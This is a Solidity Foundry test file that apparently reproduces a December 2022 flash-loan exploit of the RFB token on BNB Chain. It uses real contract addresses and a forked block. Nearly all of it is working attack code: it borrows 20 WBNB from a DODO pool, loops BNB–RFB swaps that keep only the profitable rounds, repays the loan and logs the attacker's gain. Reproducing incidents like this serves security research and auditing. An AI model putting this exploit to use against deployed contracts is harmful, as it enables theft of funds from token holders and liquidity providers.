src/test/2022-12/RFB_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1599991294947778560
9// @TX
10// https://bscscan.com/tx/0xcc8fdb3c6af8bb9dfd87e913b743a13bbf138a143c27e0f387037887d28e3c7a
11 
12contract ContractTest is Test {
13    IERC20 RFB = IERC20(0x26f1457f067bF26881F311833391b52cA871a4b5);
14    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
15    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
16    Uni_Pair_V2 Pair = Uni_Pair_V2(0x03184AAA6Ad4F7BE876423D9967d1467220a544e);
17    address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
18 
19    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
20 
21    function setUp() public {
22        cheats.createSelectFork("bsc", 23_649_423);
23    }
24 
25    function testExploit() public payable {
26        RFB.approve(address(Router), type(uint256).max);
27        WBNB.approve(address(Router), type(uint256).max);
28        payable(address(uint160(0))).transfer(address(this).balance);
29        DVM(dodo).flashLoan(20 * 1e18, 0, address(this), new bytes(1));
30 
31        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
32    }
33 
34    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
35        WBNB.withdraw(20 * 1e18);
36        for (uint256 i = 0; i < 50; i++) {
37            try this.check(20 * 1e18 - i) {}
38            catch {
39                continue;
40            }
41        }
42        WBNB.deposit{value: address(this).balance}();
43        WBNB.transfer(dodo, 20 * 1e18);
44    }
45 
46    function check(
47        uint256 amount
48    ) public payable {
49        uint256 BNBBalance = address(this).balance;
50        BNBToRFB(amount);
51        RFBToBNB();
52        require(address(this).balance - BNBBalance > 0);
53    }
54 
55    function BNBToRFB(
56        uint256 amount
57    ) public payable {
58        address[] memory path = new address[](2);
59        path[0] = address(WBNB);
60        path[1] = address(RFB);
61        Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
62            0, path, address(this), block.timestamp
63        );
64    }
65 
66    function RFBToBNB() public payable {
67        address[] memory path = new address[](2);
68        path[0] = address(RFB);
69        path[1] = address(WBNB);
70        Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
71            RFB.balanceOf(address(this)), 0, path, address(this), block.timestamp
72        );
73    }
74 
75    receive() external payable {}
76}